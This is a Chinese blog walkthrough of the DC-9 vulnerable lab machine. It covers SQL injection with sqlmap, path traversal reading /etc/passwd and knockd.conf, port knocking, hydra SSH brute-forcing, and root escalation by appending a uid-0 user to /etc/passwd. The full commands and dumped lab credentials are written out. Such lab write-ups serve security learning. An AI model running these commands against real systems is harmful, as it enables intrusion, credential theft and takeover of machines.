CD-9

环境搭建

过程和DC-1的环境搭建一样:https://yschen20.github.io/2026/02/19/DC-1/#%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA

渗透测试

先 nmap 扫靶机 IP

1
nmap -sP 10.234.52.0/24

image-20260331184934132

然后扫靶机的端口服务

1
nmap -A -p- 10.234.52.143

一个 22 的 SSH,还有一个 80 的 Web 服务

image-20260331185111069

先看 80 的 Web

image-20260331185130028

看到 Manage 有登录页面,尝试弱口令登录失败

image-20260331185314644

继续找其他的,然看到 Display All Records 可以看到所有的记录

image-20260331185446687

还有一个 Search 可以进行搜索,这里想到会不会存在 SQL 注入漏洞

image-20260331185525249

抓包试试确实存在,POST 请求传参search,万能密码成功获取到所有的记录

image-20260331185604743

利用 sqlmap 进行注入

1
sqlmap -u "http://10.234.52.143/results.php" --data="search=1" --batch

可以联合注入或者时间盲注

image-20260331190300622

先看数据库

1
sqlmap -u "http://10.234.52.143/results.php" --data="search=1" --dbs --batch

image-20260331190432061

users库中有哪些表

1
sqlmap -u "http://10.234.52.143/results.php" --data="search=1" -D "users" --tables --batch

image-20260331190534036

继续看UserDetails表中的列

1
sqlmap -u "http://10.234.52.143/results.php" --data="search=1" -D "users" -T "UserDetails" --column --batch

image-20260331190645024

主要看usernamepassword

1
sqlmap -u "http://10.234.52.143/results.php" --data="search=1" -D "users" -T "UserDetails" -C username,password --dump --batch

image-20260331190825702

或者直接看全部

1
sqlmap -u "http://10.234.52.143/results.php" --data="search=1" -D "users" -T "UserDetails" --dump --batch 

image-20260331190844496

想随便找个账号登录进去,结果告诉我不对,没招了

image-20260331191004692

继续看看其他的,还有一个数据库是Staff,看看这里面有什么

1
sqlmap -u "http://10.234.52.143/results.php" --data="search=1" -D "Staff" --tables --batch 

也有一个Users

image-20260331191117800

看看表里的内容

1
sqlmap -u "http://10.234.52.143/results.php" --data="search=1" -D "Staff" -T "Users" --dump --batch

得到了admin的哈希密码

image-20260331191234873

1
2
3
4
5
+--------+----------------------------------+----------+
| UserID | Password | Username |
+--------+----------------------------------+----------+
| 1 | 856f5de590ef37314e7c3bdf6f8a66dc | admin |
+--------+----------------------------------+----------+

开始想直接用 cmd5 查,但是告诉我付费???

image-20260331191336596

然后想用 hashcat 爆也没爆出来,john也没有,最后网上又找了一个解MD5的网站解出来了:transorbital1

网址:https://toolshu.com/crackmd5

image-20260331192019587

去登录后台,进来后看到File does not exist,猜测是不是像 DC-5 一样存在文件包含

image-20260331192252141

测试发现确实存在

1
http://10.234.52.143/manage.php?file=../../../../etc/passwd

image-20260331192518980

可以看到/etc/passwd中有很多用户,和之前数据库中看到的差不多

image-20260331192753849

之前数据库中爆出的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
+-----------+---------------+
| username | password |
+-----------+---------------+
| marym | 3kfs86sfd |
| julied | 468sfdfsd2 |
| fredf | 4sfd87sfd1 |
| barneyr | RocksOff |
| tomc | TC&TheBoyz |
| jerrym | B8m#48sd |
| wilmaf | Pebbles |
| bettyr | BamBam01 |
| chandlerb | UrAG0D! |
| joeyt | Passw0rd |
| rachelg | yN72#dsd |
| rossg | ILoveRachel |
| monicag | 3248dsds7s |
| phoebeb | smellycats |
| scoots | YR3BVxxxw87 |
| janitor | Ilovepeepee |
| janitor2 | Hawaii-Five-0 |
+-----------+---------------+

并且还有个SSH服务呢,尝试利用 hydra 去爆破登录,用户名保存到user.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
marym
julied
fredf
barneyr
tomc
jerrym
wilmaf
bettyr
chandlerb
joeyt
rachelg
rossg
monicag
phoebeb
scoots
janitor
janitor2

然后是密码保存到pass.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
3kfs86sfd
468sfdfsd2
4sfd87sfd1
RocksOff
TC&TheBoyz
B8m#48sd
Pebbles
BamBam01
UrAG0D!
Passw0rd
yN72#dsd
ILoveRachel
3248dsds7s
smellycats
YR3BVxxxw87
Ilovepeepee
Hawaii-Five-0

进行爆破,要等一会

1
hydra -L user.txt -P pass.txt ssh://10.234.52.143

可以爆出三个用户

image-20260331193752392

1
2
3
[22][ssh] host: 10.234.52.143   login: chandlerb   password: UrAG0D!
[22][ssh] host: 10.234.52.143 login: joeyt password: Passw0rd
[22][ssh] host: 10.234.52.143 login: janitor password: Ilovepeepee

分别登录看看,看看也没有 SUID 提权、sudo 提权

1
2
3
4
# SUID
find / -perm -u=s -type f 2>/dev/null
# sudo
sudo -l
1
2
# [22][ssh] host: 10.234.52.143   login: chandlerb   password: UrAG0D!
ssh chandlerb@10.234.52.143

没有有用的

image-20260331194156826

1
2
# [22][ssh] host: 10.234.52.143   login: joeyt   password: Passw0rd
ssh joeyt@10.234.52.143

也没有

image-20260331194552427

1
2
# [22][ssh] host: 10.234.52.143   login: janitor   password: Ilovepeepee
ssh janitor@10.234.52.143

还是没有

image-20260331194538343

那就看看每个用户的目录下有什么吧,最终可以在janitor用户目录下找到.secrets-for-putin隐藏文件夹

image-20260331195316821

然后想继续的,但突然发现卡住了,一看网络没了,重新连上网后发现还是不行,SSH端口也连不上了,nmap扫一下发现SSH端口关了,我没招了

image-20260331195640977

去网上搜了一下,和knockd服务有关

文章:https://www.cnblogs.com/wsjhk/p/5508051.html

image-20260331195934344

利用之前 80 端口的 Web 服务存在的文件包含漏洞去读配置文件/etc/knockd.conf

1
http://10.234.52.143/manage.php?file=../../../../etc/knockd.conf

image-20260331200124828

1
2
3
4
5
6
7
8
9
10
11
[openSSH]
sequence = 7469,8475,9842
seq_timeout = 25
command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
tcpflags = syn

[closeSSH]
sequence = 9842,8475,7469
seq_timeout = 25
command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
tcpflags = syn

所以要依次去访问7469,8475,9842这三个端口对其敲门,我直接浏览器访问的

1
2
3
http://10.234.52.143:7469/
http://10.234.52.143:8475/
http://10.234.52.143:9842/

然后再nmap扫一遍就可以看到端口开启了

1
nmap -A -p- 10.234.52.143

image-20260331200535509

继续之前的,进入到.secrets-for-putin文件夹中可以得到passwords-found-on-post-it-notes.txt文件

image-20260331200723996

1
2
3
4
5
6
BamBam01
Passw0rd
smellycats
P0Lic#10-4
B4-Tru3-001
4uGU5T-NiGHts

又得到了一些密码,将其加入到之前的pass.txt文件中,重新爆一遍

1
hydra -L user.txt -P pass.txt ssh://10.234.52.143

image-20260331201038281

得到了一个新的用户

1
[22][ssh] host: 10.234.52.143   login: fredf   password: B4-Tru3-001

去登录

1
ssh fredf@10.234.52.143

这个用户可以借助 sudo 提权

1
sudo -l

image-20260331201128080

看一下/opt/devstuff/dist/test/test文件,确实拥有root权限

1
ls -la /opt/devstuff/dist/test/test

image-20260331201300665

想看一下这个文件内容的,结果是一堆乱码,这是个二进制文件,然后就看看/opt/devstuff/dist/test这个目录下有什么其他东西吧

1
ls -la /opt/devstuff/dist/test

一堆.so文件,没什么好看的

image-20260331201503445

返回上两级目录可以看到test.py文件

1
ls -la /opt/devstuff

image-20260331201632971

看一下内容

1
cat /opt/devstuff/test.py

image-20260331201703099

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/usr/bin/python

import sys

if len (sys.argv) != 3 :
print ("Usage: python test.py read append")
sys.exit (1)

else :
f = open(sys.argv[1], "r")
output = (f.read())

f = open(sys.argv[2], "a")
f.write(output)
f.close()

需要三个参数,第2个参数的文件内容写入到第3个参数的文件中,也就是读取一个文件的内容,然后追加到另一个文件中,test应该是被编译过的python脚本

所以可以利用这个向/etc/passwd中写入一个拥有root权限的用户

先利用 openssl passwd 生成密码:123456

1
openssl passwd 123456

image-20260331204849662

1
$1$au93sGhv$K5EAyWx6JrVCch7gX8kVl1

然后构造一个用户

1
hacker:$1$au93sGhv$K5EAyWx6JrVCch7gX8kVl1:0:0::/root:/bin/bash

靶机有vi命令,可以用来将密码写入到文件1.txt中,这里突然SSH连接又断了,肯定有问题,应该是有个定时任务什么的吧,和之前的做法一样,恢复后利用vi写文件

1
vi 1.txt

:wq保存

image-20260331205747025

最后将其添加到/etc/passwd中即可

1
sudo /opt/devstuff/dist/test/test 1.txt /etc/passwd

image-20260331205833318

然后就可以su切换为hacker用户了,密码是123456

image-20260331210023399

最后读flag

1
2
cd /root
cat theflag.txt

image-20260331224254648

总结

靶机学到的知识点:

  • 还是要多找找可能的注入点,尝试尝试
  • knockd服务,端口敲门
  • 利用root写文件权限添加自定义新用户提权

CD-9
https://yschen20.github.io/2026/03/31/DC-9/
作者
Suzen
发布于
2026年3月31日
更新于
2026年3月31日
许可协议